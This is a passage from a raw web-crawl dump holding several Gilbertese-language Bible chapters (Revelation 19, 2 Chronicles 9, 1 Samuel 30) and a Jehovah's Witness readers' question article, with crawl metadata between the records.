Atua,+ 18 bwa kam na kang irikoia ueea ao irikoia mataniwi n te taanga ni buaka ao irikoia aomata aika korakora+ ao irikoia aoti ao irikoia taan toka i aoia,+ ao irikoia aomata ni kabane, aika inaomata ao aika tooro ao aika mangori ao aika kakannato.\" 19 Ao I nora te man are tiritiri ma uean aonnaba ma aia taanga ni buaka, aika ikotaki bwa a na buakana teuare toka i aon te aoti ma ana taanga ni buaka.+ 20 Ao e tauaki te man ae tiritiri, ma te burabeti ni kewe+ are karaoi kanikina aika kamimi i matan te man ae tiritiri, are e burebureiia te koraki ake e reke irouia ana kanikina te man ae tiritiri+ ao te koraki ake a taromauria katotongana.+ A bane n tewenakoaki ngke a maiu nako nanon te nama ae te ai ae ura n te burimton.*+ 21 Ma a kamateaki ake nikiraia n ana kabaang ae abwabwaki teuare toka i aon te aoti,+ are te kabaang are otinako mai wina. Ao a bane ni ngae mannikiba n irikoia.+\nTaiani Kabwarabwara Mai Nano\n^ Kuriiti, por·neiʹa. Nora Nanon Taeka.\n^ Kuriiti, \"mai bain neiei.\"\n^ Ke, \"tabu.\"\n^ Ke tao, \"katimtimwaki.\"\n^ Te taetae ni Kuriiti ae kabonganaaki ikai e taekina annang, ike a kikiba iai mannikiba.\n^ Nora Nanon Taeka.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-kaotioti\/19\/","date":"2018-02-20T02:54:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812871.2\/warc\/CC-MAIN-20180220010854-20180220030854-00223.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":804,"character_repetition_ratio":0.052,"word_repetition_ratio":0.003,"special_characters_ratio":0.243,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9 Ao te ueannaine mai Tieba+ e ongo taekan Toromon, mangaia are e a roko i Ierutarem bwa e na tuoa Toromon n titiraki aika kangaanga.* E iraki irouia te koraki ake raona ni mwananga* aika rangi ni mwaitikurikuri, ma kamero aika uouotii oeran te batiam, ao te koora ae mwaitikurikuri+ ao atibu aika rangi ni kakawaki. E rin neiei nakon Toromon ao e taekin nakoina bwaai ni kabane ake a mena i nanona.+ 2 Ao Toromon e kaekai ni kabane ana titiraki neiei. Bon akea te bwai ae rangi ni kangaanga iroun* Toromon ae e aki kona ni kabwarabwaraa nakon neiei. 3 Ngke e a tia te ueannaine mai Tieba n nora wanawanan Toromon,+ te auti are e kateia,+ 4 te amwarake are n ana taibora,+ tekatekaia ana toro, mwamwakuria ana touati ma kunnikaia ae okoro, taan uouotii ana mwangko ma kunnikaia ae okoro, ma ana karea ni kabuekaki ake e kakareani n ana auti Iehova,+ ao e rangi ni miroaroa. 5 Mangaia are e taku nakon te uea: \"E boni koaua te rongorongo are I ongo i abau ae taekani baika ko karaoi* ao taekani wanawanam. 6 Ma I aki onimakin rongorongo akanne ni karokoa ae I a roko ao n noria ni matau.+ Ao noria! I bon aki tuangaki iterani wanawanam ae rangi ni bati.+ E rangi n rianako riki arom nakon te rongorongo are I ongo.+ 7 A a kukurei am rorobuaka, ao a a kukurei am toro akana tei i matam n taai nako n ongongora ni wanawanam! 8 E bia karaoiroaki Iehova ae Atuam, are e kukurei iroum n arona ni katokako i aon ana kaintokanuea bwa te uea ibukin Iehova ae Atuam. Ibukina bwa e tangiriia tibun Iteraera Atuam,+ ao e a rineiko bwa te uea ae e na kairiri ma te kaetitaeka ae riai ao te raoiroi, bwa a aonga n teimatoa n aki toki.\" 9 Ao neiei e angan te uea 120 te tarena* ni koora+ ao oeran te batiam ae mwaitikurikuri ao atibu aika rangi ni kakawaki. E aki manga uotaki oeran te batiam ae aron anne are e anga te ueannaine mai Tieba nakon te Uea are Toromon.+ 10 Irarikin anne ao ana toro Iram ma ana toro Toromon ake a uouotii koora mai Obira,+ a uotii naba kaai aika arekam* ao atibu aika rangi ni kakawaki.+ 11 Ao te uea e karaoi mani kaai aika arekam bwaai n tamwarake ibukin ana auti Iehova+ ao ibukin ana auti* te uea,+ n ikotaki ma taian abi ao bwaai ni katangitang aika iai karaiia ibukia taan anene.+ A tuai man noraki mai mwaina bwaai aika ai aron aikai n te aba ae Iuta. 12 Ao te Uea are Toromon e angan naba te ueannaine mai Tieba te bwai are e tangiria ao are e bubutii iai, ae bati riki nakon* are e uotia neiei nakon te uea. Imwina ao e a nako neiei n okira oin abana ma ana toro.+ 13 Ao botan rawawatan te koora ae roroko iroun Toromon n teuana te ririki bon 666 te tarena ni koora,+ 14 irarikin riki ake a reke mairouia taan iokinibwai ao taani boobwai, ao aia uea ni kabane I-Arabia ma taiani kowana n te aba, ake a uouotii koora ao tirewa nakon Toromon.+ 15 Ao te Uea are Toromon e karaoi otanga aika 200 aika bubura man te koora ae renganaki+ (e bane kaka 600 te tiekera* ni koora ae renganaki n teuana te otanga)+ 16 ao otanga aika uarereke* aika 300 man te koora ae renganaki (e bane kaka tenua te mina* ni koora n teuana te otanga ae uarereke). Ao e kaaki baikai te uea n te Auti ae Buakonikain Rebanon.+ 17 E karaoa naba te kaintokanuea ae rianako arona te uea man te aiwere* ao e kanimwa te koora ni koaua n rabunna iai.+ 18 Iai onoua baon te bwai n tamwarake nakon te kaintokanuea, ao iai te nangoa ni wae ae te koora ae nim ma te kaintokanuea, ao iai nneni katokaan te bai n iteran te tabo n tekateka ni kauaitera, ao a tei raian aika uoman+ i rarikini nneni katokaan te bai. 19 Ao iai raian aika 12+ aika tei i aoni baon te bwai n tamwarake ake onoua, kaka temanna i taboni baon te bwai n tamwarake ni kauaitera. Akea te tautaeka n uea teuana ae e a tia ni karaoa te bwai teuana ae ai aron aei. 20 A bane ni karaoaki man te koora ana bwai ni moi te Uea are Toromon, ao a karaoaki man te koora ni koaua bwaai ni kabane ake i nanon te Auti ae Buakonikain Rebanon. Akea te bwai teuana ae karaoaki man te tirewa, bwa e iangoaki te tirewa n ana bong Toromon bwa akea bonganana.+ 21 Bwa iai ana kaibuke te uea aika nanako Taretiti+ ao a kabutaki irouia ana toro Iram.+ A roroko kaibuke mai Taretiti teuana te tai ni katoa tenua te ririki ma uotaia te koora ao te tirewa, te aiwere,+ taian ebe, ao mannikiba aika bikaoki. 22 Mangaia are e kakannato riki te Uea are Toromon nakoia uean aonnaba ni kabane, ni kaubwaina ao ni wanawanana.+ 23 Ao a ukoukora te kan taetae ma* Toromon uean te aonnaba ni kabutaa bwa a na ongora ni wanawanana are e kaaki te Atua ae koaua i nanona.+ 24 A uota aia bwaintangira ngaiia n tatabemania nako, aika bwaai aika karaoaki man te tirewa, bwaai aika karaoaki man te koora, kunnikai,+ te bwai ni buaka, oeran te batiam, aoti, ao miure, ao e reitinako aei n te ririki teuana ma teuana. 25 Ao iai 4,000 nnen ana aoti Toromon ma ana kaa ni buaka ao ana aoti* aika 12,000.+ Ao e kateiia ni kaawa ake nnen taiani kaa ni buaka ao n uakaan ma te uea i Ierutarem.+ 26 Ao e tautaeka i aoia ueea ni kabane ake man te Karaanga* nako abaia I-Biritia ao ni karokoa tian Aikubita.+ 27 Ao e kabatiaa te tirewa te uea i Ierutarem n ai aron te atibu, ao e kabatiaa te kai ae te tiira n ai aron aroka aika tukomorea n te Tiebira.*+ 28 Ao a kairiia aoti nakon Toromon mai Aikubita+ ao man aaba ni kabane. 29 Ni kaineti ngkanne ma nikiran rongorongon Toromon+ mai moana ni karokoa tokina, tiaki a koreaki i buakon ana taeka Natan+ are te burabeti, n ana taetae ni burabeti Aiia+ are te I-Tiro, ao n ana miitara Ito+ are te tia nori miitara ake a koreaki mwia, ake a kaineti ma Ieroboam+ are natin Nebata? 30 E tautaeka Toromon i Ierutarem i aoia tibun Iteraera ni kabane i nanon 40 te ririki. 31 Ao e a wene ni motirawa Toromon i rarikia ana bakatibu. Mangaia are a kaiia n Ana Kaawa Tawita are tamana,+ ao e a riki Reoboam are natina bwa te uea n onea mwina.+\nTaiani Kabwarabwara Mai Nano\n^ Ke, \"n taiani kamwaninga.\"\n^ Ke, \"aika rereena.\"\n^ Ebera, \"akea te bwai ae raba mairoun.\"\n^ Ke, \"am taeka.\"\n^ Te kai ae rangi ni kakawaki ae kabonganaaki ibukini karaoani baika rangi ni kakawaki.\n^ Ke, \"baareti.\"\n^ Ke tao, \"irarikini bwaai n tituaraoi aika boraoi ma boon.\"\n^ Te otanga ae uarereke ae uouotaki irouia taani katebe.\n^ Nora Nanon Taeka.\n^ Ebera, \"ukoukora ubun.\"\n^ Ke, \"taan toka i aoia aoti.\"\n^ Ae taekan te Iuberetiti.\n^ Ke, \"te aba ae rinano.\"","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-rongorongo\/9\/","date":"2018-02-17T22:09:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891807825.38\/warc\/CC-MAIN-20180217204928-20180217224928-00447.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1174,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"30 Ngke a a roko Tawita ma ana rorobuaka i Tikeraka+ n te katenua ni bong, ao a a tia tibun Amareka+ ni kuribwaia maiaki* ao Tikeraka. Ao a buakana Tikeraka ao a kabuekia n te ai. 2 A kairiianako aine bwa aia taenikai+ ao aomata ni kabane ake iai, mairouia ake a ataei ni karokoa ake a kara. A aki tiringa temanna, ma a kairiianako ao a a touaanako kawaia. 3 Ngke e a roko Tawita ma ana rorobuaka n te kaawa, ao a a noria bwa e a tia ni kabuekaki, ao a kairakinako bwa taenikai buuia, natiia mwaane, ao natiia aine. 4 Ngaia are a a takarua n tang Tawita ma rorobuaka ake raona, ni karokoa ae a aikoa kona n tang bwa ai akea korakoraia. 5 A kairakinako naba bwa taenikai buun Tawita ake uoman, are Ainoam are te I-Ietireera ao Abikaira are buun Nabara are te I-Karemera.+ 6 Ao e rangi n rawawata Tawita ibukina bwa a taekinna mwaane ae a na karebanaia n atibu, bwa a bane n un mwaane ibukini buaia natiia mwaane ao natiia aine. Ma e kakorakoraa Tawita iroun Iehova ae Atuana.+ 7 E taku ngkanne Tawita nakon Abiata+ are te ibonga,* are natin Aimereka: \"Taiaoka uotaamai te ebota.\"+ Mangaia are e uota te ebota Abiata nakon Tawita. 8 Ao Tawita e titirakina Iehova+ ni kangai: \"I riai ni kaeiia taani kuribwai aikai? N na ooiia?\" Ao E taku nakoina: \"Naako kaeiia, bwa ko na bon ooiia, ao ane ko na kaoki bwaai nako ma aomata nako.\"+ 9 E aki tabwara Tawita ma e a mwananga naba ma mwaane ake 600+ ake raona, ao a mwananga ni karokoa te Mwarua ae Betiora, ike a a tiku iai tabeman mai buakoia mwaane. 10 A reitaanako kaeaia nakekei Tawita ma mwaane aika 400, ma a tiku mwaane ake 200 ake a aikoa kona n rinanon te Mwarua ae Betiora nakon iterana bwa a a rangi ni kua.+ 11 A nora te mwaane temanna ae te I-Aikubita n te tawaana, ao a kairia nakon Tawita. A anganna te amwarake ae e na kanna ao te ran ae e na nimma, 12 n ikotaki ma teuana mwakoron taiani biiku aika bati aika buabuaaki aika mwau, ao taiani kureebe aika bati aika buabuaaki aika mwau aika uoua. Imwin amwarakena ao e a manga oki korakorana, bwa e tuai mani kana te amwarake teuana ke ni moi n te ran i nanon tenua te ngaina ao tenua te bong. 13 E a titirakinna ngkai Tawita ni kangai: \"Antai ana aomata ngkoe, ao kaain ia ngkoe?\" ao e kaeka ni kangai: \"Bon te tabonibai ngai ae te I-Aikubita, ae ana toro te mwaane ae tibun Amareka, ma e kitanai au toka ibukina bwa I aoraki tenibong n nako. 14 Ti kuribwaia maiakin abaia taiani Keritaite,+ ao aonon Iuta, ao maiakin abaia tibuni Kareba,+ ao ti kabueka Tikeraka n te ai.\" 15 Ao e taku Tawita nakon teuarei: \"Ko na kairai nakoia taani kuribwai aikai?\" E kaeka ni kangai teuarei: \"Ngkana ko taetae n tuea nakoiu iroun te Atua bwa ko na aki kamateai, ao ko na aki anga ngai nakon au toka, ao N na boni kairiko nakoia taani kuribwai aikai.\" 16 Mangaia are e a kairiia nakon te tabo are a maenako iai nakekei n te aba ni kabutaa, bwa a amwarake ao ni moi ao ni bukamaru ibukini konaia ni buaka ni kabane aika rangi ni bati, ake a anai mai abaia I-Biritia, ao te aba ae Iuta. 17 Ao e kamateia nakekei Tawita man te aioota n te ingabong ni karokoa te tairiki are imwina. Akea te mwaane temanna ae reke birinakona+ ma tii mwaane aika 400 ake a birinako i aoia kamero. 18 E a manga kaoki bwaai ni kabane Tawita ake a anai tibun Amareka,+ ao e kamaiuia buuna ake uoman. 19 Akea aia aomata temanna ae bua, mairouia ake a ataei ni karokoa ake a kara. A a manga kaokiia natiia mwaane ao natiia aine ao bwaai ni kuri.+ E a manga kaoki bwaai nako Tawita ake a anai nakekei. 20 Mangaia are e kairiia tiibu ma kaao ni kabane Tawita, ake a kamwanangaia n rimoaia aia nanai ni man. Ao a taku: \"Aio boni konan Tawita ni buaka.\" 21 Ao e a roko Tawita irouia mwaane ake 200 ake a aikoa ira Tawita bwa a a rangi ni kua ao ake a tiku i rarikin te Mwarua ae Betiora.+ Ao a otinako naakai ni kawara Tawita ma aomata ake raona. Ngke e a kaan Tawita ma mwaane aikai, ao e a titirakinia bwa a uara. 22 Ma a bane n taku mwaane ake a buakaka ao ake akea uaaia ake a mena i buakoia te koraki ake a nako ma Tawita: \"Ti na aki angania konara teuana ni buaka ake ti kaoki, kioina ngkai a aki irira, ma a na tii anaiia buuia ao natiia n tatabemania nako, ao a na nako.\" 23 Ma e taku Tawita: \"Tariu, kam aki riai ni karaoa aei nakon te bwai ae e a tia n anganira Iehova. E kamanoira ao e anga nako nanoni baira taani kuribwai ake a roko n ekiranako.+ 24 Antai ae boraoi n iango ma ngkami n aei? E na titeboo tibwangan ane e ruo nakon te buaka ma tibwangan ane e tiku i rarikini bwaai.+ A na bane n iai tibwangaia ni kabane.\"+ 25 Ao man te bong anne ao e a katea anne bwa te moti ao te tua ibukia tibun Iteraera ni karokoa te bong aei. 26 Ngke e oki Tawita nako Tikeraka, ao e a kanakoi bwaai ni kuri tabeua nakoia aia unimwaane tibun Iuta ake raoraona, ao e kangai: \"Anne te bwaintangira* nakoimi mani bwaai ni kuri ake aia bwai taani kairiribai nakon Iehova.\" 27 E kanakoi nakoia te koraki ake a mena i Betaera,+ nakoia te koraki ake i Ramota are n te Nekebo,* nakoia te koraki ake i Iatira,+ 28 nakoia te koraki ake i Aroera, nakoia te koraki ake i Tibemota, nakoia te koraki ake i Etitemoa,+ 29 nakoia te koraki ake i Rakara, nakoia te koraki ake n aia kaawa tibun Ierameera,+ nakoia te koraki ake n aia kaawa taiani Kenaite,+ 30 nakoia te koraki ake i Orema,+ nakoia te koraki ake i Boraatian, nakoia te koraki ake i Ataka, 31 nakoia te koraki ake i Eberon,+ ao nakon taabo ni kabane ake a nanako iai Tawita ma ana rorobuaka.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-tamuera\/30\/","date":"2018-02-19T20:57:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812788.42\/warc\/CC-MAIN-20180219191343-20180219211343-00667.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1079,"character_repetition_ratio":0.072,"word_repetition_ratio":0.006,"special_characters_ratio":0.242,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N ningai are a kataenikaiaki iai ana aomata te Atua irouni Baburon ae Kakannato?\nE moa te kataenikaiaki n taamnei anne man te kauoua n tienture C.E. nakon 1919. Tera bukin te bitaki aei?\nA kaotaki ni bwaai ni kakoaua bwa e roko n tokina te kataenikaiaki aei n 1919, ngke a a ikotaki Kristian aika kabiraki nakon te ekaretia ae e a tibwa kaitiakaki. Iangoa aei: A kataaki ao ni kaitiakaki ana aomata te Atua i nanon ririki ake imwin tein Ana Tautaeka n Uea te Atua i karawa n 1914. * (Maraki 3:1-4) Ao n 1919, e a mwiokoa Iesu \"te toro ae kakaonimaki ma ni wanawana\" i aoia ana aomata te Atua ake a a tia ni kaitiakaki, bwa e na angangania kanaia n taamnei \"n te tai ae riai.\" (Mat. 24:45-47) Aei te ririki are a a moanna iai ana aomata te Atua n okira abaia ni kaikonaki are a anganaki iroun te Atua. Te tai naba anne are a a kainaomataaki iai mani kataenikaiaia n te aro ni kaikonaki irouni Baburon ae Kakannato. (TeKao. 18:4) Ma e moanaki raoi n ningai te kataenikaiaki anne?\nI nanon ririki aika bati ao ti kakabwarabwaraa te kataenikaiaki aei bwa e moa man 1918, ae irekereke ma te tai ae kimototo ngke a mena ana aomata te Atua i aani mwaakani Baburon ae Kakannato. N te katoto, e taekinaki aei n Te Taua-n-Tantani ae bwaini Maati 15, 1992 n te taetae n Ingiriti: \"Ngkai a kairakinako bwa taenikai i nanon tabeua te tai i Baburon ana aomata te Atua rimoa, ao n 1918 a a tautoronaki naba ana toro Iehova i aani Baburon ae Kakannato.\" Ma imwin te ukeuke riki ao e kaotaki iai bwa te kataenikaiaki aei e a kamani waaki riki imwain 1918.\nN te katoto, ti na rinanon teuana te taetae ni burabeti are e a kaman taekina te kataenikaiaki aei irouia ana aomata te Atua ao kainaomataaia. E koreaki n Etekiera 37:1-14, (BG). N te miitara ao Etekiera e nora te mwarua ae onrake n taian ri. E kabwarabwaraa Iehova nakon Etekiera bwa ri aikai a tei ibukin \"te bata are Iteraera ni kabanea.\" Ni kakoroani bukina ae kakawaki riki, ao e kaineti naba te taetae ni burabeti aei nakon \"ana Iteraera te Atua.\" (IKar. 6:16; Mwa. 3:21) Imwina ao e nori taian ri aikai Etekiera bwa a a manga maiu ao n riki bwa te taanga ae rangi ni bati. Ai tonuraoira anne ibukini kabwarabwaraani mangautiia n te aro ni kaikonaki ana aomata te Atua are e a kaotaki ni baika riki n 1919! Ma tera ae kaotaki nakoira n te miitara aei ni kaineti ma maanin te tai?\nTe moan, ti noria bwa a kabwarabwaraaki taian ri bwa a \"mau\" ke ni \"mauteretere.\" (Etek. 37:2, 11, BG) E kaotaki n aei bwa a a rangi ni maan ni mate naake riia aikai. Te kauoua, e kabwarabwaraaki te mangauti aei bwa te bwai ae riki teutana imwin teutana, ao tiaki ae e a rina naba n riki. E riki moa te karongoa ae karongoaan te kekeruaatai, ao a \"bo n toma rii, te ri teaina ma rina.\" Imwina ao a nim \"iia, ao a waerake iriko,\" ao a a rabunaki ri, taian ia, ao te iriko, n te kun. Imwin anne, \"e roko te ikeike i nanoia, ao a maiu.\" Ni kabaneana, e a kamaekaia naaka manga maiu aikai Iehova i abaia. A boni kainnanoa te tai ae abwabwaki baikai ni kabane.\nE rangi ni maan kataenikaiaia tibun Iteraera rimoa. E moa man 740 B.C.E. ni bwakaia ao kataenikaiaia aomata aika bati man te tautaeka n uea ni baronga ake tebwina mai meang. Ao n 607 B.C.E., e a kamaunaaki Ierutarem ao a kairaki bwa taenikai kaain te tautaeka n uea mai maiaki ae Iuta. E toki te tai n taenikai aei n 537 B.C.E. ngke a a oki nikiraia I-Iutaia ni manga katea te tembora ao ni manga waakina te taromauri ae koaua i Ierutarem.\nN iangoani baika taekinaki n te Baibara aikai, e a teretere iai bwa kataenikaiaia ana aomata te Atua irouni Baburon ae Kakannato, e na bae n rangi ni maan riki nakoni baike a riki man 1918-1919. Titeboo tain te kataenikaiaki aei ma te tai are a rikirake iai titania ni kaikonaki i buakon uita ake \"natin te tautaeka n uea.\" (Mat. 13:36-43) Titeboo te tai n rikirake anne ma te tai are e a taonakinako iai mwaitiia Kristian ni koaua irouia taan tannako man te koaua. Ai aron ae e a kataenikaiaki te ekaretia ni Kristian irouni Baburon ae Kakannato. E moanaki anne i nanon te kauoua n tienture C.E. ao e reitinako ni karokoa kaitiakan te tembora n taamnei n tain te toki.\nNi waakinakon te tai ni kataenikaiaki n te onimaki anne, ao mataniwi n Aaro ma raoia ake kaain te tautaeka, ake a kani kateimatoa mwaakaia, a taua Ana Taeka te Atua mairouia aia aomata. N tabetai ao e katabuakaki n te tua warekan te Baibara n te taetae are kakabonganaaki. A tauraki n te kai ao ni kabuekaki tabeman ake a karaoa anne. E katuuaaeaki n te aro ae iowawa ane e kaota ana iango ae kaokoro ma are e angareirei iai te mataniwi n te Aro, n totokoi iai aanga nako ake a na kabutaanako ootan te koaua.\nMa tera aroni kauouani mwakoron te taetae ni burabeti are taekan te mangauti? E riki n ningai ao n te aro raa? Te mangauti n te onimaki aei e waaki teutana imwin teutana. E irianaki ni karongoaan te kekeruaatai i nanon tienture aika bati imwain tain te toki. E ngae ngke a rangi ni korakora aia reirei Aaro aika kewe, ma a tei tabeman aika kakaonimaki ibukin te taromauri ae koaua n aron are a konaa. A kekeiaki mwaaka tabeman i buakoia ni karekei Baibara n aia taetae aomata. Ake tabeman a tataekini koaua ake a kunei n iteranibaan Ana Taeka te Atua.\nN raatokin 1800 tabun ao e ingainga Charles Taze Russell ma raona, ni kaoki koaua man te Baibara. Ai aron ae e a moanna n nim te iriko ao te kun i aon taian ri ni kaikonaki. A buokaki aomata aika raoiroi nanoia n te Zion's Watch Tower ao booki riki tabeua, bwa a na karekei ootaia i aon te koaua. Imwina riki ao a a kakorakoraaki ana aomata te Atua ni bwaai ni mwakuri n aron te \"Photo-Drama of Creation\" n 1914, ao te boki ae The Finished Mystery n 1917. N tokina ao a anganaki maiuia ni kaineti ma te onimaki ana aomata te Atua n 1919, ao a a maeka n abaia ni kaikonaki ae boou. Ni waakinakon te tai, ao a ikarekebai te nikira aei ma te koraki ake a kantaningaa te maiu i aon te aba, ao a a riki bwa \"te koraki ae moan te maiti n ai aron te tanga.\"\nN iangoani koaua aikai, e a teretere iai bwa a kataenikaiaki ana aomata te Atua irouni Baburon ae Kakannato ngke e a rikirake te tannako man te koaua n te kauoua n tienture C.E. Bon te tai ni karawawata aei, ae kuri n titeboo ma are a rinanona tibun Iteraera rimoa ngke a kataenikaiaki. Ai kukureira ngaira bwa imwini kataenikaiaia n te onimaki ana aomata te Atua i nanon tienture aika bati, ti a maeka n te tai ae 'a a oota iai n raneanea akana rabakau' ao \"a na kaitiakiia aomata aika bati\" ao a na \"kaburoaki ni kataki\"!'—Tan. 12:3, 10, BG.\nTe koaua bwa Tatan e boni kaira raoi Iesu nakon te tembora ngke e kariria?\nNi kauarerekeana, ti aki kona ni koaua raoi bwa e bon tei Iesu n te tembora ke e tii karaoa anne rinanon te miitara. N tabetai ao a kaotaki iango akana uoua akanne n ara boki.\nIangoa moa te bwai ae taekinaki n te Baibara. N ana Euangkerio te abotoro Mataio ni kaineti ma te bwai ae riki aei, ao e kairaki rinanon te taamnei bwa e na korea aei: \"Ao e kairia te Riaboro nakon te kaawa ae tabu, ao e katokaa i aon oon [\"nonon; te tabo ae te kabanea n rietata n,\" te kabwarabwara ae i nano] te tembora.\" (Mat. 4:5) E taekinaki te rongorongo anne n Ruka ni kangai: \"Ao e kairia nako Ierutarem ao e katokaa i aon oon te tembora.\"—Ruka 4:9.\nN taai aika nako, a kaotaki n ara boki bwa e bon aki riki raoi aei. N te katoto, n Te Taua-n-Tantani ae bwaini Maati 1, 1961 n te taetae n Ingiriti, ao e kabwarabwaraaki iai aei: \"E taraa n aki riai iangoan ae a boni karaoaki raoi bwaai nako ake a riki n rongorongoni karirian Iesu n te rereua. Bon akea te maunga ike e kona iai ni kaotaki nakon temanna 'tautaekan nako te aonnaba ma tamaroaia.' Ngaia are e bon riai naba bwa ti na iangoia ae Tatan e bon aki kaira raoi Iesu nakon 'te kaawa ae tabu' ao ni katokaa 'i aon oon te tembora.' E bon aki kainnanoaki rikin anne bwa e aonga ni kakorakoraa riki te kataaki anne.\" Ma n taiani kaongora n te maekatin aei, ao ti noria bwa ngke arona bwa Iesu e ongeaba iroun Tatan, e na boni bae ni bakabureia.\nA taku tabeman bwa e taburoroko ae e na tei Iesu i aon te tembora ngkai tiaki tibun Rewi ngaia. Ngaia are e a iangoaki iai bwa tao e 'kairaki' Iesu nakon te tembora rinanon te miitara. E kuri n titeboo anne ma are e riki nakon te burabeti are Etekiera n tienture ake mai mwaina.\nMa ngkana arona bwa e riki te kariri aei rinanon te miitara, a na ueke titiraki aikai:\nE bon riki te kariri aei ke bon tii te iango?\nNgkana arona bwa kariri ake tabeua bon ibukini kamwanean Iesu bwa e na karaoi mwakuri ni koaua n aroni bitakin te atibu nakon te amwarake, ke e na bon taromauria raoi Tatan, tiaki ai bon tii te arona naba ma te kariri aei, ike e tuangaki iai Iesu bwa e na ewenako raoi man te tembora?\nN te itera are teuana, ngkana arona bwa e bon tei raoi Iesu i aon oon te tembora, a na ueke titiraki aikai:\nE urua te Tua Iesu ngkai e tei i aon te tembora?\nE kangaa n roko Iesu i Ierutarem man te rereua?\nKaraoan te ukeuke ni kakaae riki, e buokira n ota ni bwaai tabeua aika kona ni kaekai titiraki aika uoua aikai.\nTe moan, e taekinna Professor D. A. Carson bwa te taeka ni Kuriiti ae hi·e·ron', ae rairaki bwa \"tembora\" n rongorongo akana uoua akanne, \"tao e kaineti nakon te kateitei ae bwanin ao tiaki tii te tabo ae tabu.\" Ngaia are e kona n aki tei Iesu i aon taubukin te tabo ae tabu. N te katoto, tao e kona n tei ni koonan te tembora are mai maiakimaeao. Man te tabo anne ao e katati rikaaki tao 450 te buuti (137 te mita) nako kabin te Mwarua ae Kiteron. E borababaua taubukin te kateitei are mai maiakimainiku ao iai oona, ao bon te tabo ae te kabanea n rietata n te tembora. E taekinna te tia korea rongorongon rimoa ae Josephus bwa ngkana e tei te aomata n te tabo anne ao e taraa naano, e \"na bon tanoi\" ibukin rietatana. Ngkai tiaki tibun Rewi Iesu, e bae ni kariaiakaki n tei n te tabo anne, ao e na aki ngureakinaki ngkana e karaoa anne.\nMa e na kangaa ni kairaki Iesu nakon te tembora ngke e mena n te rereua? Kaekaana, ti aki kona n ataia raoi. A kakimototoaki kabwarabwaraani kariri akanne ao e aki kaotaki iai taina bwa maanra ke e mena ia Iesu n te rereua. Ti aki naba kona ni kakeaa ae tao e rianna Iesu n oki nako Ierutarem, e ngae ngke tao karaoan anne e na maan teutana. E aki taekinaki raoi n te rongorongo bwa e teimatoa n tiku Iesu n te rereua ngke a riki kariri akanne. Ma e tii taekinaki bwa e kairaki nako Ierutarem.\nMa tera aron te kariri are e kaotaki iai nakon Iesu \"tautaekan nako te aonnaba\"? E teretere bwa e aki nori raoi tautaeka ni kabane, bwa bon akea raoi te maunga ae a kona iai n noraki baikai ni kabane. Tao e bae Tatan ni kabongana te aeka ni miitara teuana ni kaotii iai baikai nakon Iesu, tao n aron te taamnei ae oti n te viteo ae kona ni kabonganaaki ni kaotaki iai taamnein taabo aika kakaokoro n te aonnaba nakon temanna. Ma e ngae ngke tao e kabonganaaki te miitara n aei, ma 'te taromauri' bon te mwakuri ni koaua ao tiaki tii te iango. (Mat. 4:8, 9) E kona ngkanne n taekinaki bwa te kariri are te ewenako man oon te tembora e irekereke ma karaoan te mwakuri ni koaua ma mwina ake a na bon riki, ao aei are e na kabatiaa riki korakoran te kataaki aei nakon are ngke arona bwa bon tii te miitara.\nNi koauana, n aron ae taekinaki mai moa, ti aki kona ni matoatoa i aon aei. Ma ti aki kona naba ni kakeaa ae Iesu e bon nako Ierutarem ao e tei i aon oon te tembora. Ma te bwai teuana ae ti kona ni koaua raoi iai bwa a bon riki kariri aikai, ao e anga ana kaeka ae matoatoa Iesu ni kaekaa iai Tatan ibukin ana kariri aikai.\n^ bar. 2 Nora Te Taua-n-Tantani, Turai 15, 2013, i. 10-12, bar. 5-8, 12.\n^ bar. 1 A uaia n taekinaki n Etekiera 37:1-14 ao Te Kaotioti 11:7-12 taekani kaokan te taromauri ae koaua are riki n 1919. Ma te taetae ni burabeti are n Etekiera, e taetae ni burabetina manga okin te taromauri ae koaua nakoia ana aomata te Atua ni kabane imwin te tai ni kataenikaiaki ae rangi ni maan. N te itera are teuana, e kaineti te taetae ni burabeti are n Te Kaotioti ma manga okia nakon te taromauri ae koaua te koraki ae uarereke mwaitiia ae taari aika kabiraki ake a kairiri, imwini kabaeakia ao katokan aia mwakuri i nanon te tai ae 